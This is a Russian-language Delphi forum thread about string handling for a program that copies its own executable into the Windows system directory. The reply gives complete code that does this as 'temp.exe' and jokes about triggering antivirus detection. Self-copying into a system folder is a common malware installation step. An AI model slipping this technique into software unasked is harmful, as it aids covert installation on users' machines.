![]() |
|
|
|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
#1
|
|||
|
|||
|
В общем проблема в следующем.
Есть код: Код:
var FileName: array[0..MAX_PATH] of Char; NewFileName: array[0..MAX_PATH] of Char; Windows: array[0..MAX_PATH] of Char; begin GetModuleFileName(0, FileName, SizeOf(Windows)); GetWindowsDirectory(Windows, SizeOf(Windows)); CopyFile(FileName, PChar(Windows + NewFileName), True); end; По сути мне нужно объединить два массива, но как это сделать одной строчкой кода? Если так, то работает: Код:
CopyFile(FileName, PChar(Windows + '\\' + NewFileName), True); Ну это глупо использовать два слэша! Мне нужно что бы всё было на API не используя лишних модулей! Как это реализовать? |
|
#2
|
||||
|
||||
|
Код:
program Project1;
uses
Windows, Messages;
{$R *.res}
var
modulefilename: array [0..MAX_PATH] of Char;
windowsdirectory: array [0..MAX_PATH] of Char;
modulefilenamelen: Integer;
windowsdirectorylen: Integer;
newfilename: array [0..MAX_PATH] of Char;
begin
newfilename:='temp.exe';
modulefilenamelen:=GetModuleFileName(0, modulefilename, SizeOf(modulefilename));
windowsdirectorylen:=GetWindowsDirectory(windowsdirectory, SizeOf(windowsdirectory));
if (modulefilenamelen>0) and (windowsdirectorylen>0) then
CopyFile(modulefilename, PChar(Copy(windowsdirectory, 1, windowsdirectorylen)+'\'+newfilename), False);
end.заодно антивирусник на вирус проверить можно) |